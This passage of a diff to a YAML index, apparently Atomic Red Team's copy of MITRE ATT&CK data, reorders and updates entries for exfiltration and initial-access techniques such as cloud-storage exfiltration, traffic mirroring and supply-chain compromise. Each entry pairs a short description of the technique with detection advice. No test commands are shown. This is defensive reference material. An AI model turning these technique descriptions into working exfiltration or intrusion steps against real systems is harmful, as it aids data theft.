+        external_id: T1052.001
+        source_name: mitre-attack
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'File: File Access'
       - 'Drive: Drive Creation'
       - 'Command: Command Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-10-15T22:48:29.490Z'
+      x_mitre_system_requirements:
+      - Presence of physical medium or device
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: exfiltration
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829
+      description: Adversaries may attempt to exfiltrate data over a USB connected
+        physical device. In certain circumstances, such as an air-gapped network compromise,
+        exfiltration could occur via a USB device introduced by a user. The USB device
+        could be used as the final exfiltration point or to hop between otherwise
+        disconnected systems.
+      x_mitre_contributors:
+      - William Cain
+      x_mitre_detection: Monitor file access on removable media. Detect processes
+        that execute when removable media are mounted.
+      created: '2020-03-11T13:50:11.467Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1567.002:
     technique:
-      created: '2020-03-09T15:04:32.767Z'
-      modified: '2020-03-28T01:02:24.172Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: exfiltration
       type: attack-pattern
+      modified: '2020-03-28T01:02:24.172Z'
+      name: Exfiltration to Cloud Storage
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1567/002
+        external_id: T1567.002
+        source_name: mitre-attack
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      - 'File: File Access'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      created: '2020-03-09T15:04:32.767Z'
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: true
       id: attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b
       description: "Adversaries may exfiltrate data to a cloud storage service rather
         than over their primary command and control channel. Cloud storage services
@@ -74877,177 +77159,186 @@ exfiltration:
         and Google Docs. Exfiltration to these cloud storage services can provide
         a significant amount of cover to the adversary if hosts within the network
         are already communicating with the service. "
-      name: Exfiltration to Cloud Storage
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1567.002
-        url: https://attack.mitre.org/techniques/T1567/002
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
-      - 'File: File Access'
-      - 'Command: Command Execution'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: exfiltration
       x_mitre_detection: Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server) to known cloud
         storage services. Processes utilizing the network that do not normally have
         network communication or have never been seen before are suspicious. User
         behavior monitoring may help to detect abnormal patterns of activity.
-      x_mitre_network_requirements: true
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1567.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1567.001
-        url: https://attack.mitre.org/techniques/T1567/001
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Exfiltration to Code Repository
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1567/001
+        external_id: T1567.001
+        source_name: mitre-attack
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      - 'File: File Access'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-03-28T00:58:55.433Z'
+      created: '2020-03-09T14:51:11.772Z'
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7
       description: "Adversaries may exfiltrate data to a code repository rather than
         over their primary command and control channel. Code repositories are often
         accessible via an API (ex: https://api.github.com). Access to these APIs are
         often over HTTPS, which gives the adversary an additional level of protection.\n\nExfiltration
         to a code repository can also provide a significant amount of cover to the
         adversary if it is a popular service already used by hosts within the network. "
-      id: attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: exfiltration
-      modified: '2020-03-28T00:58:55.433Z'
-      created: '2020-03-09T14:51:11.772Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_network_requirements: true
       x_mitre_detection: Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server) to code repositories.
         Processes utilizing the network that do not normally have network communication
         or have never been seen before are suspicious. User behavior monitoring may
         help to detect abnormal patterns of activity.
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
-      - 'File: File Access'
-      - 'Command: Command Execution'
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1029:
     technique:
-      created: '2017-05-31T21:30:34.139Z'
-      modified: '2020-03-28T00:26:48.769Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: exfiltration
       type: attack-pattern
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      modified: '2020-03-28T00:26:48.769Z'
+      name: Scheduled Transfer
       external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1029
+      - url: https://attack.mitre.org/techniques/T1029
         external_id: T1029
+        source_name: mitre-attack
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.1'
+      created: '2017-05-31T21:30:34.139Z'
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466
       description: |-
         Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.
 
         When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).
-      name: Scheduled Transfer
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466
-      x_mitre_version: '1.1'
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Flow'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: exfiltration
       x_mitre_detection: Monitor process file access patterns and network behavior.
         Unrecognized processes or scripts that appear to be traversing file systems
         and sending network traffic may be suspicious. Network connections to the
         same destination that occur at the same time of day for multiple days are
         suspicious.
-      x_mitre_network_requirements: true
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1020.001:
     technique:
-      created: '2020-10-19T13:40:11.118Z'
-      modified: '2020-10-22T02:24:54.640Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: exfiltration
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Traffic Duplication
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.1'
+      modified: '2021-08-16T15:23:37.640Z'
+      created: '2020-10-19T13:40:11.118Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Network
+      x_mitre_is_subtechnique: true
       id: attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1
       description: |-
         Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure.  Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring)
 
-        Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.
-      name: Traffic Duplication
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1020.001
-        url: https://attack.mitre.org/techniques/T1020/001
-      - external_id: CAPEC-117
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/117.html
-      - source_name: Cisco Traffic Mirroring
-        url: https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html
-        description: Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component
-          Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October
-          19, 2020.
-      - source_name: Juniper Traffic Mirroring
-        url: https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html
-        description: Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200,
-          EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved
-          October 19, 2020.
-      - source_name: US-CERT-TA18-106A
-        url: https://www.us-cert.gov/ncas/alerts/TA18-106A
-        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
-          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
-          19, 2020.
-      - source_name: Cisco Blog Legacy Device Attacks
-        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
-        description: Omar Santos. (2020, October 19). Attackers Continue to Target
-          Legacy Devices. Retrieved October 20, 2020.
-      x_mitre_platforms:
-      - Network
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Flow'
+        Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: exfiltration
       x_mitre_detection: 'Monitor network traffic for uncommon data flows (e.g. unusual
         network communications, suspicious communications that have never been seen
         before, communications sending fixed size data packets at regular intervals).  Analyze
         packet contents to detect communications that do not follow the expected protocol
         behavior for the port that is being used. '
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1020/001
+        external_id: T1020.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/117.html
+        external_id: CAPEC-117
+        source_name: capec
+      - url: https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html
+        description: Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component
+          Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October
+          19, 2020.
+        source_name: Cisco Traffic Mirroring
+      - url: https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html
+        description: Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200,
+          EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved
+          October 19, 2020.
+        source_name: Juniper Traffic Mirroring
+      - url: https://www.us-cert.gov/ncas/alerts/TA18-106A
+        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
+          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
+          19, 2020.
+        source_name: US-CERT-TA18-106A
+      - url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
+        description: Omar Santos. (2020, October 19). Attackers Continue to Target
+          Legacy Devices. Retrieved October 20, 2020.
+        source_name: Cisco Blog Legacy Device Attacks
     atomic_tests: []
   T1537:
     technique:
-      created: '2019-08-30T13:03:04.038Z'
+      type: attack-pattern
       modified: '2021-03-08T10:33:01.280Z'
+      name: Transfer Data to Cloud Account
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1537
+        external_id: T1537
+        source_name: mitre-attack
+      - url: https://www.justice.gov/file/1080281/download
+        description: Mueller, R. (2018, July 13). Indictment - United States of America
+          vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.
+        source_name: DOJ GRU Indictment Jul 2018
+      x_mitre_data_sources:
+      - 'Snapshot: Snapshot Creation'
+      - 'Snapshot: Snapshot Modification'
+      - 'Cloud Storage: Cloud Storage Modification'
+      - 'Cloud Storage: Cloud Storage Creation'
+      x_mitre_version: '1.1'
+      created: '2019-08-30T13:03:04.038Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: exfiltration
-      type: attack-pattern
       id: attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may exfiltrate data by transferring the data, including
         backups of cloud environments, to another cloud account they control on the
         same service to avoid typical file transfers/downloads and network-based exfiltration
@@ -75060,66 +77351,32 @@ exfiltration:
         have been observed where adversaries have created backups of cloud instances
         and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul
         2018) "
-      name: Transfer Data to Cloud Account
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1537
-        url: https://attack.mitre.org/techniques/T1537
-      - source_name: DOJ GRU Indictment Jul 2018
-        description: Mueller, R. (2018, July 13). Indictment - United States of America
-          vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.
-        url: https://www.justice.gov/file/1080281/download
-      x_mitre_platforms:
-      - IaaS
       x_mitre_contributors:
       - Praetorian
-      x_mitre_network_requirements: true
-      x_mitre_permissions_required:
-      - User
-      x_mitre_version: '1.1'
-      x_mitre_data_sources:
-      - 'Snapshot: Snapshot Creation'
-      - 'Snapshot: Snapshot Modification'
-      - 'Cloud Storage: Cloud Storage Modification'
-      - 'Cloud Storage: Cloud Storage Creation'
       x_mitre_detection: 'Monitor account activity for attempts to share data, snapshots,
         or backups with untrusted or unusual accounts on the same cloud service provider.
         Monitor for anomalous file transfer activity between accounts and to untrusted
         VPCs. '
-      x_mitre_is_subtechnique: false
+      x_mitre_platforms:
+      - IaaS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
 initial-access:
   T1078.004:
     technique:
-      id: attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65
-      description: |-
-        Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)
-
-        Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.
-      name: Cloud Accounts
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1078.004
-        url: https://attack.mitre.org/techniques/T1078/004
-      - source_name: AWS Identity Federation
-        url: https://aws.amazon.com/identity/federation/
-        description: Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13,
-          2020.
-      - source_name: Google Federating GC
-        url: https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction
-        description: Google. (n.d.). Federating Google Cloud with Active Directory.
-          Retrieved March 13, 2020.
-      - source_name: Microsoft Deploying AD Federation
-        url: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs
-        description: Microsoft. (n.d.). Deploying Active Directory Federation Services
-          in Azure. Retrieved March 13, 2020.
       type: attack-pattern
+      name: Cloud Accounts
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Metadata'
+      - 'User Account: User Account Authentication'
+      - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '1.3'
+      modified: '2021-10-18T17:48:05.659Z'
+      created: '2020-03-13T20:36:57.378Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -75129,25 +77386,43 @@ initial-access:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2021-03-16T12:45:15.399Z'
-      created: '2020-03-13T20:36:57.378Z'
+      id: attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65
       x_mitre_platforms:
       - Azure AD
       - Office 365
       - SaaS
       - IaaS
       - Google Workspace
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Logon Session: Logon Session Creation'
-      x_mitre_detection: Monitor the activity of cloud accounts to detect abnormal
-        or malicious behavior, such as accessing information outside of the normal
-        function of the account or account usage at atypical hours.
+      x_mitre_is_subtechnique: true
       x_mitre_permissions_required:
       - User
       - Administrator
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.2'
+      description: |-
+        Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)
+
+        Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.
+      x_mitre_contributors:
+      - Jon Sternstein, Stern Security
+      x_mitre_detection: Monitor the activity of cloud accounts to detect abnormal
+        or malicious behavior, such as accessing information outside of the normal
+        function of the account or account usage at atypical hours.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1078/004
+        external_id: T1078.004
+        source_name: mitre-attack
+      - url: https://aws.amazon.com/identity/federation/
+        description: Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13,
+          2020.
+        source_name: AWS Identity Federation
+      - url: https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction
+        description: Google. (n.d.). Federating Google Cloud with Active Directory.
+          Retrieved March 13, 2020.
+        source_name: Google Federating GC
+      - url: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs
+        description: Microsoft. (n.d.). Deploying Active Directory Federation Services
+          in Azure. Retrieved March 13, 2020.
+        source_name: Microsoft Deploying AD Federation
       identifier: T1078.004
     atomic_tests:
     - name: Creating GCP Service Account and Service Account Key
@@ -75206,14 +77481,19 @@ initial-access:
 '
   T1195.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1195.003
-        url: https://attack.mitre.org/techniques/T1195/003
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Compromise Hardware Supply Chain
+      x_mitre_version: '1.0'
+      modified: '2020-03-23T12:51:45.475Z'
+      created: '2020-03-11T14:28:40.064Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef
       description: Adversaries may manipulate hardware components in products prior
         to receipt by a final consumer for the purpose of data or system compromise.
         By modifying hardware or firmware in the supply chain, adversaries can insert
@@ -75221,37 +77501,33 @@ initial-access:
         the adversary a high degree of control over the system. Hardware backdoors
         may be inserted into various devices, such as servers, workstations, network
         infrastructure, or peripherals.
-      id: attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2020-03-23T12:51:45.475Z'
-      created: '2020-03-11T14:28:40.064Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_detection: Perform physical inspection of hardware to look for potential
         tampering. Perform integrity checking on pre-OS boot mechanisms that can be
         manipulated for malicious purposes.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1195/003
+        external_id: T1195.003
+        source_name: mitre-attack
+    atomic_tests: []
+  T1195.001:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Compromise Software Dependencies and Development Tools
+      x_mitre_version: '1.0'
+      modified: '2020-03-11T14:13:42.916Z'
+      created: '2020-03-11T14:13:42.916Z'
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
-    atomic_tests: []
-  T1195.001:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1195.001
-        url: https://attack.mitre.org/techniques/T1195/001
-      - source_name: Trendmicro NPM Compromise
-        url: https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets
-        description: Trendmicro. (2018, November 29). Hacker Infects Node.js Package
-          to Steal from Bitcoin Wallets. Retrieved April 10, 2019.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Compromise Software Dependencies and Development Tools
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720
       description: "Adversaries may manipulate software dependencies and development
         tools prior to receipt by a final consumer for the purpose of data or system
         compromise. Applications often depend on external software to function properly.
@@ -75260,32 +77536,35 @@ initial-access:
         (Citation: Trendmicro NPM Compromise)  \n\nTargeting may be specific to a
         desired victim set or may be distributed to a broad set of consumers but only
         move on to additional tactics on specific victims. "
-      id: attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2020-03-11T14:13:42.916Z'
-      created: '2020-03-11T14:13:42.916Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_detection: 'Use verification of distributed binaries through hash checking
         or other integrity checking mechanisms. Scan downloads for malicious signatures
         and attempt to test software and updates prior to deployment while taking
         note of potential suspicious activity. '
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1195/001
+        external_id: T1195.001
+        source_name: mitre-attack
+      - url: https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets
+        description: Trendmicro. (2018, November 29). Hacker Infects Node.js Package
+          to Steal from Bitcoin Wallets. Retrieved April 10, 2019.
+        source_name: Trendmicro NPM Compromise
+    atomic_tests: []
+  T1195.002:
+    technique:
+      type: attack-pattern
+      modified: '2020-03-11T14:17:21.153Z'
+      name: Compromise Software Supply Chain
+      x_mitre_version: '1.0'
+      created: '2020-03-11T14:17:21.153Z'
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
-    atomic_tests: []
-  T1195.002:
-    technique:
-      created: '2020-03-11T14:17:21.153Z'
-      modified: '2020-03-11T14:17:21.153Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: initial-access
-      type: attack-pattern
+      x_mitre_is_subtechnique: true
       id: attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00
       description: "Adversaries may manipulate application software prior to receipt
         by a final consumer for the purpose of data or system compromise. Supply chain
@@ -75295,90 +77574,45 @@ initial-access:
         may be specific to a desired victim set or may be distributed to a broad set
         of consumers but only move on to additional tactics on specific victims.(Citation:
         Avast CCleaner3 2018) (Citation: Command Five SK 2011)  "
-      name: Compromise Software Supply Chain
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1195.002
-        url: https://attack.mitre.org/techniques/T1195/002
-      - url: https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities
-        description: Avast Threat Intelligence Team. (2018, March 8). New investigations
-          into the CCleaner incident point to a possible third stage that had keylogger
-          capacities. Retrieved March 15, 2018.
-        source_name: Avast CCleaner3 2018
-      - url: https://www.commandfive.com/papers/C5_APT_SKHack.pdf
-        description: Command Five Pty Ltd. (2011, September). SK Hack by an Advanced
-          Persistent Threat. Retrieved April 6, 2018.
-        source_name: Command Five SK 2011
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: initial-access
       x_mitre_detection: 'Use verification of distributed binaries through hash checking
         or other integrity checking mechanisms. Scan downloads for malicious signatures
         and attempt to test software and updates prior to deployment while taking
         note of potential suspicious activity. '
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1195/002
+        external_id: T1195.002
+        source_name: mitre-attack
+      - source_name: Avast CCleaner3 2018
+        description: Avast Threat Intelligence Team. (2018, March 8). New investigations
+          into the CCleaner incident point to a possible third stage that had keylogger
+          capacities. Retrieved March 15, 2018.
+        url: https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities
+      - source_name: Command Five SK 2011
+        description: Command Five Pty Ltd. (2011, September). SK Hack by an Advanced
+          Persistent Threat. Retrieved April 6, 2018.
+        url: https://www.commandfive.com/papers/C5_APT_SKHack.pdf
     atomic_tests: []
   T1078.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1078.001
-        url: https://attack.mitre.org/techniques/T1078/001
-      - external_id: CAPEC-70
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/70.html
-      - source_name: Microsoft Local Accounts Feb 2019
-        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
-        description: Microsoft. (2018, December 9). Local Accounts. Retrieved February
-          11, 2019.
-      - source_name: AWS Root User
-        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html
-        description: Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.
-      - source_name: Threat Matrix for Kubernetes
-        url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
-        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
-          March 30, 2021.
-      - source_name: Metasploit SSH Module
-        url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
-        description: Metasploit. (n.d.). Retrieved April 12, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Default Accounts
-      description: |-
